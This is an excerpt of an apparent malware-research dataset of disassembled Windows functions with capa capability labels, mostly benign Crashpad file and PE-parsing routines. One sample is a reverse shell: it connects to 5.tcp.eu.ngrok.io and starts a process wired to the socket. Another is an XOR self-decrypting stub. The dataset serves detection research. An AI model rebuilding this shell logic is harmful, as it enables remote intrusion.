joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14014f330
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rax, qword [0x1401d1098]
test rax, rax
jne 0x14014f374
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call rdi
mov rax, qword [0x1401d1098]
test rax, rax
je 0x14014f361
cmp eax, 2
jne 0x14014f3cc
mov ecx, 2
call fcn.1400b76f0
test al, al
je 0x14014f429
lea rdx, str....._third_partycrashpadcrashpadclientcrashpad_client_win.cc
lea rsi, [rsp + 0x28]
mov rcx, rsi
mov r8d, 0x8f
mov r9d, 2
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.crash_server_failed_to_launch__self_terminating
mov r8d, 0x2f
call fcn.14011abe0
mov rcx, rsi
call fcn.14004bf50
jmp 0x14014f429
mov eax, 1
lock xadd qword [0x1401d10d0], rax
inc rax
cmp rax, 2
jl 0x14014f3f0
mov ecx, 0xffffffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SleepEx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x1401d1058], eax
mov qword [0x1401d1050], rsi
mov rcx, qword [0x1401c2788]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 2
call fcn.1400b76f0
test al, al
jne 0x14014f459
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xffff7001
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400d9910
xor eax, eax
add rsp, 0x168
pop rdi
pop rsi
ret
lea rdx, str....._third_partycrashpadcrashpadclientcrashpad_client_win.cc
lea rsi, [rsp + 0x28]
mov rcx, rsi
mov r8d, 0xbb
mov r9d, 2
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.crash_server_did_not_respond__self_terminating
mov r8d, 0x2e
jmp 0x14014f3bd

Function at 0x140156950
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov ebx, edx
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x14015697a
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140156999
mov edi, eax
bt eax, 0xa
jae 0x140156991
test bl, bl
je 0x1401569a7
and edi, 0x10
shr edi, 4
jmp 0x1401569a9
mov ecx, 2
call fcn.1400b76f0
test al, al
jne 0x1401569c6
xor edi, edi
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.1400d9910
mov eax, edi
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x80
mov r9d, 2
call fcn.140138770
lea rcx, [rsp + 0x38]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.14011abe0
mov rcx, rax
mov rdx, rsi
call fcn.140139420
mov rcx, rdi
call fcn.1401387f0
jmp 0x1401569a7
Function at 0x140156a20
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov ebx, r8d
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x140156a4b
mov rcx, qword [rsi]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dil, 1
test eax, eax
jne 0x140156a7f
test bl, bl
je 0x140156a6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140156af1
mov ecx, 2
call fcn.1400b76f0
test al, al
jne 0x140156a9c
xor edi, edi
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.1400d9910
mov eax, edi
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x61
mov r9d, 2
call fcn.140138770
lea rcx, [rsp + 0x38]
lea rdx, str.CreateDirectory
mov r8d, 0x10
call fcn.14011abe0
mov rcx, rax
mov rdx, rsi
call fcn.140139420
mov rcx, rdi
call fcn.1401387f0
jmp 0x140156a7d
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.140156950
test al, al
jne 0x140156a7f
mov ecx, 2
call fcn.1400b76f0
test al, al
je 0x140156a7d
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x5c
mov r9d, 2
call fcn.14004b900
lea rcx, [rsp + 0x38]
mov rdx, rsi
call fcn.140139420
lea rdx, str._not_a_directory
mov r8d, 0x10
mov rcx, rax
call fcn.14011abe0
mov rcx, rdi
call fcn.14004bf50
jmp 0x140156a7d

Function at 0x140156b70
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
sub rsp, 0x178
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x170], rax
cmp byte [rcx + 0x17], 0
jns 0x140156b97
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140156bc7
test eax, 0x410
sete sil
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400d9910
mov eax, esi
add rsp, 0x178
pop rdi
pop rsi
ret
mov ecx, 2
call fcn.1400b76f0
test al, al
jne 0x140156bd9
xor esi, esi
jmp 0x140156bab
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x73
mov r9d, 2
call fcn.140138770
lea rcx, [rsp + 0x40]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.14011abe0
mov rcx, rax
mov rdx, rsi
call fcn.140139420
mov rcx, rdi
call fcn.1401387f0
jmp 0x140156bd5
Function at 0x140156c30
Capabilities:
Check if file exists
Delete directory
Delete file

Disassembly:
push rsi
push rdi
sub rsp, 0x178
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x170], rax
cmp byte [rcx + 0x17], 0
jns 0x140156c57
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140156c6e
and eax, 0x410
cmp eax, 0x410
je 0x140156cb3
cmp byte [rsi + 0x17], 0
mov rcx, rsi
jns 0x140156c7a
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dil, 1
test eax, eax
jne 0x140156c97
mov ecx, 2
call fcn.1400b76f0
test al, al
jne 0x140156cd4
xor edi, edi
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400d9910
mov eax, edi
add rsp, 0x178
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400d9910
mov rcx, rsi
add rsp, 0x178
pop rdi
pop rsi
jmp fcn.140156d30
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x93
mov r9d, 2
call fcn.140138770
lea rcx, [rsp + 0x40]
lea rdx, str.DeleteFile
mov r8d, 0xb
call fcn.14011abe0
mov rcx, rax
mov rdx, rsi
call fcn.140139420
mov rcx, rdi
call fcn.1401387f0
jmp 0x140156c95

Function at 0x140156d30
Capabilities:
Delete directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x140156d58
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, eax
test eax, eax
jne 0x140156d72
mov ecx, 2
call fcn.1400b76f0
test al, al
jne 0x140156d94
test edi, edi
setne bl
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.1400d9910
mov eax, ebx
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x2f
mov r9d, 2
call fcn.140138770
lea rcx, [rsp + 0x38]
lea rdx, str.RemoveDirectory
mov r8d, 0x10
call fcn.14011abe0
mov rcx, rax
mov rdx, rsi
call fcn.140139420
mov rcx, rbx
call fcn.1401387f0
jmp 0x140156d72
Function at 0x140165300
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, r8
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov eax, 0xaaaaaaaa
lea rdi, [rsp + 0x44]
mov dword [rdi], eax
lea r8, [rsp + 0x40]
mov dword [r8], eax
lea rax, [rsp + 0x3c]
mov dword [rax], 4
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rdi]
xor ecx, 4
or ecx, eax
sete bl
jne 0x140165360
mov eax, dword [rsp + 0x40]
mov dword [rsi], eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400d9910
mov eax, ebx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret

Function at 0x140165420
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x1a0
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x1401869f0]
lea rsi, [rsp + 0x160]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsi + 0x20], 0x100
jb 0x140165474
mov ecx, 1
call fcn.1400b76f0
test al, al
jne 0x1401654a3
mov eax, dword [rsp + 0x180]
cmp eax, 0x100
mov esi, 0xff
cmovb esi, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.1400d9910
mov eax, esi
add rsp, 0x1a0
pop rsi
ret
lea rdx, str....._third_partycrashpadcrashpad_snapshotwin_system_snapshot_win.cc
lea rsi, [rsp + 0x28]
mov rcx, rsi
mov r8d, 0x117
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.dwNumberOfProcessors_exceeds_uint8_t_storage
mov r8d, 0x2c
call fcn.14011abe0
mov rcx, rsi
call fcn.14004bf50
jmp 0x140165474
Function at 0x140171550
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1b0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x1a8], rax
movaps xmm0, xmmword [0x1401869f0]
lea r15, [rsp + 0x160]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.14010ff40
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.1401764c0
test al, al
je 0x1401716a5
movzx eax, word [rsp + 0x160]
cmp eax, 0x5a4d
jne 0x14017161d
mov rcx, r14
call fcn.14010ff40
movsxd r14, dword [rsp + 0x19c]
add r14, rax
mov r8d, 0x108
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.1401764c0
test al, al
je 0x140171666
cmp dword [rbx], 0x4550
jne 0x1401716d6
mov sil, 1
test rdi, rdi
je 0x1401716b5
mov qword [rdi], r14
jmp 0x1401716b5
mov ecx, 1
call fcn.1400b76f0
test al, al
je 0x1401716b3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x14017174a
mov ecx, 1
call fcn.1400b76f0
test al, al
je 0x1401716b3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x140171744
mov ecx, 1
call fcn.1400b76f0
test al, al
jne 0x140171718
xor esi, esi
mov rcx, qword [rsp + 0x1a8]
xor rcx, rsp
call fcn.1400d9910
mov eax, esi
add rsp, 0x1b0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.1400b76f0
test al, al
je 0x1401716b3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x14017174a
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.14011abe0
movzx r8d, byte [rsi + 0x17]
test r8b, r8b
js 0x14017175f
and r8d, 0x7f
jmp 0x140171766
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.14011abe0
mov rcx, rdi
call fcn.14004bf50
jmp 0x1401716b3
Function at 0x140171780
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1b0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1401b3028]
xor rax, rsp
mov qword [rsp + 0x1a8], rax
movaps xmm0, xmmword [0x1401869f0]
lea r15, [rsp + 0x160]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.14010ff40
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.1401764c0
test al, al
je 0x1401718d5
movzx eax, word [rsp + 0x160]
cmp eax, 0x5a4d
jne 0x14017184d
mov rcx, r14
call fcn.14010ff40
movsxd r14, dword [rsp + 0x19c]
add r14, rax
mov r8d, 0xf8
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.1401764c0
test al, al
je 0x140171896
cmp dword [rbx], 0x4550
jne 0x140171906
mov sil, 1
test rdi, rdi
je 0x1401718e5
mov qword [rdi], r14
jmp 0x1401718e5
mov ecx, 1
call fcn.1400b76f0
test al, al
je 0x1401718e3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x14017197a
mov ecx, 1
call fcn.1400b76f0
test al, al
je 0x1401718e3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x140171974
mov ecx, 1
call fcn.1400b76f0
test al, al
jne 0x140171948
xor esi, esi
mov rcx, qword [rsp + 0x1a8]
xor rcx, rsp
call fcn.1400d9910
mov eax, esi
add rsp, 0x1b0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.1400b76f0
test al, al
je 0x1401718e3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x14017197a
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14004b900
lea rcx, [rsp + 0x38]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.14011abe0
movzx r8d, byte [rsi + 0x17]
test r8b, r8b
js 0x14017198f
and r8d, 0x7f
jmp 0x140171996
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.14011abe0
mov rcx, rdi
call fcn.14004bf50
jmp 0x1401718e3
Function at 0x140001964
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019ae
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019b0
xor al, al
add rsp, 0x28
ret

Function at 0x1400025a0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xf8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 1
je 0x1400025fe
cmp qword [rsp + 0x50], 2
je 0x1400026ae
cmp qword [rsp + 0x50], 3
je 0x1400025f4
cmp qword [rsp + 0x50], 4
je 0x140002608
jmp 0x1400026b5
call fcn.1400026f0
jmp 0x1400026cd
call fcn.140002a00
jmp 0x1400026cd
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x9c], 0x101
mov rax, qword [0x140005988]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xb0], rax
call fcn.140002a30
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x1400026cd
call fcn.1400027b0
jmp 0x1400026cd
mov eax, 8
imul rax, rax, 4
lea rcx, [0x140005958]
mov qword [rcx + rax], 0xffffffffffffffff
mov rcx, qword [rsp + 0xe8]
xor rcx, rsp
call fcn.140001010
add rsp, 0xf8
ret

Function at 0x1400026f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Terminate process

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [0x140005988], rax
mov r8d, 0x10
lea rdx, [0x140005940]
mov rcx, qword [0x140005988]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000274d
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov eax, 8
imul rax, rax, 2
lea rcx, [0x140005958]
lea rdx, [0x140005988]
mov qword [rcx + rax], rdx
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x38
ret
Function at 0x1400027b0
Capabilities:
Resolve dns

Disassembly:
sub rsp, 0x38
lea rcx, str.5.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x20], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x10
lea rcx, str.5.tcp.eu.ngrok.io
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.5.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x140005944], eax
movzx ecx, word [0x14000508c]
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x140005942], ax
mov eax, 2
mov word [0x140005940], ax
add rsp, 0x38
ret

Function at 0x140002a00
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
sub rsp, 0x28
lea rdx, [0x140005720]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002a24
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
add rsp, 0x28
ret
Function at 0x2fc4d2d60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d3e40
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d3762
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f6108]
test eax, eax
je 0x2fc4d37fa
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f6110]
mov qword [rbp - 8], rax
jmp 0x2fc4d37de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d37d2
cmp qword [rbp - 0x10], 0
je 0x2fc4d37d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d3798
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d37fb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d3900
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d3928
mov eax, 0
jmp 0x2fc4d3976
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d3951
mov eax, 0
jmp 0x2fc4d3976
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d3971
mov eax, 0
jmp 0x2fc4d3976
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d397c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d39fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d39f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d39f1
mov rax, qword [rbp - 8]
jmp 0x2fc4d3a0f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d39c4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140f75794
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f7579e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f757c7
pop rbp
sub rbp, 0x33
sub rbp, 0xf75794
sub rsp, 0x20
jmp 0x140f757e6
mov rax, 0xf75794
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x76d8ce47
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f75805
jmp 0x140f7581c
bswap esi
scasb al, byte [rdi]
int3